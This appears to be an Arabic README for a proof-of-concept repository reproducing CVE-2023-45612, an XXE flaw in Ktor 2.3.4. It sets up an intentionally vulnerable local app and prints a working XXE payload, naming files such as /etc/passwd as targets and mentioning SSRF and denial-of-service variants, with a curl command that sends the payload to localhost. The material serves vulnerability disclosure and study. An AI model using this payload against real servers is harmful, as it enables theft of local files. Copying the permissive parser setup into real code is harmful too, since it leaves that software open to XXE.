
إثبات المفهوم لحقن XXE في Ktor (CVE-2023-45612)
التأثير: الوصول إلى ملفات عشوائية عبر DTD XML مُصمم مع مرجع XXE.
السبب الجذري: محلل مستندات XML غير آمن.
يحتوي هذا المستودع على تطبيق Ktor 2.3.4 ضعيف مُهيأ للسماح بالكيانات الخارجية بحيث يكون تأثير XXE مرئيًا.
تطبيق Ktor ضعيف (الإصدار 2.3.4) لإثبات مفهوم حقن كيان خارجي XML (CVE-2023-45612).
CVE-2023-45612 هو خطأ XXE (كيان خارجي XML) في ContentNegotiation الخاص بـ Ktor عند تمكين XML في الإصدارات الأقدم من 2.3.5.
تُصنف هذه الثغرة ضمن CWE-611: تقييد غير صحيح لمرجع الكيان الخارجي XML.
XXE جزء من فئة المخاطر OWASP Top 10 A05:2021 - التهيئة الأمنية الخاطئة، ولكنه أيضًا مشكلة تصميم غير آمنة، لأن السبب هو محلل XML غير مقيد.
تم الإبلاغ بواسطة Ulf Karlsson — انظر ملاحظات أمان Jetbrains.
إصدارات Ktor الأقدم من
2.3.5هذا هو الإعداد الخاص بي لإعادة إنتاج المشكلة:
تحتوي مستندات XML اختياريًا على تعريف نوع المستند (DTD)، الذي يتيح، ضمن ميزات أخرى، تعريف كيانات XML. من الممكن تعريف كيان عن طريق توفير سلسلة استبدال على شكل URI. يمكن لمحلل XML الوصول إلى محتويات هذا URI ودمج هذه المحتويات مرة أخرى في مستند XML لمزيد من المعالجة.
عن طريق إرسال ملف XML يُعرّف كيانًا خارجيًا بـ URI من نوع file://، يمكن للمهاجم أن يتسبب في قيام التطبيق المعالج بقراءة محتويات ملف محلي.
على سبيل المثال، URI مثل "file:///c:/winnt/win.ini" يحدد (في ويندوز) الملف C:\Winnt\win.ini، أو file:///etc/passwd يحدد ملف كلمات المرور في الأنظمة المستندة إلى Unix.
(https://cwe.mitre.org/data/definitions/611.html)
يتم إرسال طلب POST إلى نقطة النهاية http://localhost:8080/xml.
يرسل الطلب ملف xml، exploit/payloads/xxe-demo-file.xml، يحتوي على عنصر <!DOCTYPE> يُشار فيه إلى كيان خارجي، في هذه الحالة exploit/etc/secret.txt.
يمكن أن يكون هذا أي ملف آخر على النظام يمكن للعملية الوصول إليه.
xxe-demo-file.xml
<!DOCTYPE Mail [ <!ENTITY xxe SYSTEM "exploit/etc/secret.txt"> ]>
<Mail><title>&xxe;</title></Mail>
يقوم محلل XML (المُهيأ للسماح بـ DTD) بحل هذا العنصر واسترداد بيانات المورد.
يمكن أن يكون المرجع الخارجي أيضًا مسارًا إلى نقطة نهاية SSRF، أو يمكن أن يشير إلى ملف كبير لشغل موارد النظام (DOS).
./gradlew run
Responding at http://127.0.0.1:8080
curl -i http://localhost:8080/xml -H "Content-Type: application/xml" --data-binary @exploit/payloads/xxe-demo-file.xml
النتيجة المتوقعة (ضعيف):
مخرجات وحدة التحكم:
Received: <external entity data>
النتيجة المتوقعة (آمن):
400 Bad Request، أو ما شابه ذلك (يقوم محلل XML بحظر تعريف نوع المستند)
تشغيل الأمر:

إرسال حمولة XXE باستخدام cURL، والنتيجة تظهر محتويات الملف المُحقن:

الشدة عالية/حرجة. استرجاع ملف محلي محتمل، هجوم SSRF، هجوم DoS، أو تأثيرات أخرى على النظام.
النتيجة الأساسية NVD: 9.8 حرجة (CVSS v3) (https://nvd.nist.gov/vuln/detail/CVE-2023-45612)